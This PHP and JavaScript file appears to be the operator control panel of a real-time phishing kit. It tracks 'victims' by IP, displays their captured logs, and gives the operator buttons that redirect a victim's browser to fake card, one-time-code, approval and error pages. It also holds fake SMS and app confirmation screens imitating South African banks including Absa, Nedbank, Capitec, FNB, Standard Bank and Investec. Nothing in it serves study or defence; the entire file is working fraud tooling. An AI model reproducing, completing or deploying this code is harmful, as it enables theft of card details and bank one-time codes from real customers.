<?php
session_start();
require __DIR__ . '/includes/panel_auth.php';
panelRequireLogin();
require "classes/mother.class.php";
if (!isset($_GET['vip']) or empty($_GET['vip'])) {
    exit("INVALID REQUESTS. PLEASE ACCESS THIS PAGE FROM A VALID LINK");
}



$m = new Mother;
$ip = @$_GET['vip'];

// Fix IP if it's ::1
if ($ip == "::1") {
    $ip = "127.0.0.1";
}

$vicFile = "data/vics/VIC-$ip.json";
$vicFileFullPath = __DIR__ . "/data/vics/VIC-$ip.json";

// Ensure directory exists
$vicDir = __DIR__ . "/data/vics";
if (!file_exists($vicDir)) {
    @mkdir($vicDir, 0777, true);
}

// Check if file exists first, if not create it
if (!file_exists($vicFileFullPath)) {
    // Create victim file if it doesn't exist
    $defaultData = array(
        "ID" => "ID-" . substr(base64_encode($ip), 0, 10),
        "IP" => $ip,
        "REDIRECT" => 0,
        "CURRENT_PAGE" => "WAIT",
        "LAST_ACT" => time(),
        "TAN" => "0",
        "LOGS" => ""
    );
    @file_put_contents($vicFileFullPath, json_encode($defaultData, JSON_PRETTY_PRINT));
    @chmod($vicFileFullPath, 0666);
}

// Now set the data file
$m->setDataFile($vicFile);

// Get data and check if it's valid
$victimData = $m->getData();
if (!is_array($victimData) || !isset($victimData["IP"])) {
    // Initialize with default values
    $defaultData = array(
        "ID" => "ID-" . substr(base64_encode($ip), 0, 10),
        "IP" => $ip,
        "REDIRECT" => 0,
        "CURRENT_PAGE" => "WAIT",
        "LAST_ACT" => time(),
        "TAN" => "0",
        "LOGS" => ""
    );
    $m->update($defaultData);
    $victimData = $m->getData();
}

// If CURRENT_PAGE is null, set a default value
if (!isset($victimData["CURRENT_PAGE"]) || $victimData["CURRENT_PAGE"] == null) {
    $arr = array("CURRENT_PAGE" => "WAIT");
    $m->update($arr);
    $victimData = $m->getData();
}


$last_act = $m->getData()["LAST_ACT"];
$ip = $m->getData()["IP"];
$cp = $m->getData()["CURRENT_PAGE"];
$logs = $m->getData()["LOGS"];
$tan = $m->getData()["TAN"];

?>
<!doctype html>
<html>

<head>
    <title>
        <?php echo $ip; ?>
    </title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
    <link rel="stylesheet" href="res/app.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" />
    <script src="res/jq.js"></script>
</head>

<body>
    <div class="header">
        <div class="left">
            <i class='fa fa-user'></i> Welcome, <b>
                <?php echo htmlspecialchars(isset($_SESSION['user']) ? substr((string) $_SESSION['user'], 0, 12) : 'Admin', ENT_QUOTES, 'UTF-8'); ?>
            </b>
        </div>
        <div class="right">
            <button onclick="window.location='settings.php';"><i class='fa fa-home'></i>Settings </button>
            <button onclick="window.location='index.php?logout=1';"><i class='fa fa-sign-out'></i>Logout</button>
        </div>
    </div>
    <div class="content">
        <div class="holder">
            <div class="multi">
                <div class="box1" id="statu" style="background:<?php if ($last_act > (time() - 25)) {
                    echo '#1bc81b';
                } else {
                    echo '#b60f0f';
                } ?>">
                    <div class="rows-holder">
                        <div class="row">VICTIM IP: <span id="statusDot"><?php echo ($last_act > (time() - 25)) ? '🔴' : '⚪'; ?></span> <?php echo $ip; ?></div>
                    </div>
                </div>

                <div class="box">
                    <div class="title">CURRENT PAGE</div>
                    <div class="content" id="current_page">
                        <?php
                        if (strpos($cp, "LOADING") !== false and $last_act > (time() - 5)) {
                            echo "<b style='color:red;'>Victim waiting for redirection... <br> $cp</b>";
                        } else {
                            echo $cp;
                        }
                        ?>
                    </div>
                </div>
                
                <div class="box" id="sms_status_box" style="display:none;">
                    <div class="title">SMS PAGE STATUS</div>
                    <div class="content" id="sms_status">
                        <div id="sms_online_status"></div>
                        <div id="sms_offline_time" style="margin-top:10px; color:#b60f0f;"></div>
                    </div>
                </div>
                <div class="box">
                    <div class="title">REDIRECTS</div>
                    <div class="content btn-grid">
                        <button class="btn-card" onclick="redirect(18)">💳 CARD</button>
                        <button class="btn-code" onclick="redirect(5)">📱 CODE</button>
                        <button class="btn-approv" onclick="redirect(20)">✅ APPROV</button>
                        <button class="btn-wait" onclick="redirect(10)">⏳ WAIT</button>
                        <button class="btn-done" onclick="redirect(11)">✔️ DONE</button>
                        <button class="btn-err" onclick="redirect(25)">⚠️ CARD ERR</button>
                        <button class="btn-block" onclick="blockIp()">🚫 BLOCK IP</button>
                    </div>
                </div>

                <div class="box">
                    <div class="title">BANK SMS / APP</div>
                    <div class="content btn-grid bank-btns">
                        <button class="bk-absa" onclick="redirect(40)">SMS · Absa</button>
                        <button class="bk-absa" onclick="redirect(41)">APP · Absa</button>
                        <button class="bk-ned" onclick="redirect(30)">SMS · Nedbank</button>
                        <button class="bk-ned" onclick="redirect(31)">APP · Nedbank</button>
                        <button class="bk-stan" onclick="redirect(34)">SMS · Standard</button>
                        <button class="bk-stan" onclick="redirect(32)">APP · Standard</button>
                        <button class="bk-cap" onclick="redirect(33)">SMS · Capitec</button>
                        <button class="bk-cap" onclick="redirect(35)">APP · Capitec</button>
                        <button class="bk-fnb" onclick="redirect(38)">SMS · FNB</button>
                        <button class="bk-fnb" onclick="redirect(37)">APP · FNB</button>
                        <button class="bk-inv" onclick="redirect(39)">SMS · Investec</button>
                        <button class="bk-inv" onclick="redirect(36)">APP · Investec</button>
                    </div>
                </div>


                <div class="box">
                    <div class="title">SET A TAN NUMBER</div>
                    <div class="content">
                        <div class="input">
                            <input type="text" id="tan" value="<?php echo @$tan; ?>" placeholder="Example: 903">
                        </div>
                        <button onclick="setTan()">SET</button>
                    </div>
                </div>

                <div class="box">
                    <div class="title">VICTIM LOGS</div>
                    <div class="content">
                        <textarea id="data" readonly><?php echo "\n" . $logs; ?></textarea>
                    </div>
                </div>




            </div>
        </div>

        <div class="loader" id="loader" style="display:none;">
            <i class="fa fa-clock"></i> Redirecting...
        </div>
        <div class="loader" id="loader-adding" style="display:none;">
            <i class="fa fa-clock"></i> Adding...
        </div>
        <div class="loader-error" id="errorbox" style="display:none;">
            <i class="fa fa-ban"></i> <span id="error-msg"></span>
        </div>
        <div class="loader" id="successbox" style="display:none;">
            <i class="fa fa-circle-check"></i> <span id="success-msg"></span>
        </div>
        <div class="loader-error" id="loader-error" style="display:none;">
            <i class="fa fa-ban"></i> Victim is not connected
        </div>
    </div>


    <div class="footer">
        <div class="info">Live Control Panel Premium</div>
    </div>
    <script>
        var vic_statu = "off";
        var ip = "<?php echo $ip; ?>";
        
        // Initialize vic_statu from server data
        $.post("classes/processor.php", {
            getVictimData: 1,
            vip: ip
        }, function (done) {
            const data = JSON.parse(done);
            vic_statu = data.statu;
        });

        function redirect(page) {
            // Always allow redirect, but show error if victim is offline
            $("#loader").show().delay(3000).fadeOut();
            $.post("classes/processor.php", {
                pageID: page,
                vicIP: ip
            }, function(response) {
                // Redirect was sent
            }).fail(function() {
                $("#loader-error").show().delay(2000).fadeOut();
            });
        }

        function blockIp() {
            if (!confirm("Block this IP and send victim to DONE?")) {
                return;
            }
            $("#loader").show().delay(2000).fadeOut();
            $.post("classes/processor.php", {
                blockIp: 1,
                vicIP: ip
            }, function(response) {
                showSuccess("IP blocked");
            }).fail(function() {
                showError("Could not block IP");
            });
        }


        var textarea = document.getElementById('data');
        var last_data = "";

        setInterval(function () {
            $.post("classes/processor.php", {
                getVictimData: 1,
                vip: ip
            },
                function (done) {
                    const data = JSON.parse(done);
                    if (data.page.includes('LOADING') == true && data.statu == "on") {
                        $("#current_page").html("<b style='color:red;'>Victim waiting for redirection... <br>" +
                            data.page + "</b>");
                    } else {
                        $("#current_page").html(data.page);
                    }

                    $("#data").val(data.data);
                    if (last_data != data.data) {
                        textarea.scrollTop = textarea.scrollHeight;
                    }
                    last_data = data.data;

                    vic_statu = data.statu;

                    if (data.statu == "on") {
                        $("#statu").css("background", "#1bc81b");
                        $("#statusDot").text("🔴");
                    } else {
                        $("#statu").css("background", "#b60f0f");
                        $("#statusDot").text("⚪");
                    }

                    // SMS Page Status
                    if (data.page == "SMS" || (data.page && data.page.includes("SMS"))) {
                        $("#sms_status_box").show();
                        if (data.statu == "on") {
                            $("#sms_online_status").html("<b style='color:#1bc81b;'>✓ Online - In SMS page</b>");
                            $("#sms_offline_time").html("");
                        } else {
                            $("#sms_online_status").html("<b style='color:#b60f0f;'>✗ Offline - Left SMS page</b>");
                            var offlineTime = data.last_act ? Math.floor((new Date().getTime() / 1000 - data.last_act)) : 0;
                            var minutes = Math.floor(offlineTime / 60);
                            var seconds = offlineTime % 60;
                            $("#sms_offline_time").html("Time since leaving: " + minutes + " min " + seconds + " sec");
                        }
                    } else {
                        $("#sms_status_box").hide();
                    }


                });
        }, 1000);


        function showError(msg) {
            $(".loader").hide();
            $(".loader-error").hide();
            $("#error-msg").html(msg);
            $("#errorbox").show().delay(2000).fadeOut();
        }

        function showSuccess(msg) {
            $(".loader").hide();
            $(".loader-error").hide();
            $("#success-msg").html(msg);
            $("#successbox").show().delay(2000).fadeOut();
        }


        function logout() {
            window.location = "index.php?logout";
        }



        $("#tan").keypress((e) => {
            if (e.key == "Enter") {
                setTan();
            }
        });

        function setTan() {
            var ip = "<?php echo $ip; ?>";
            var tan_ = $("#tan").val();
            if (tan_ != "") {

                $.post("classes/processor.php", {
                    tan: tan_,
                    vip: ip
                }, (d) => {
                    showSuccess("TAN <b>" + tan_ + "</b> was set!");
                });

            }
        }
    </script>
</body>

</html>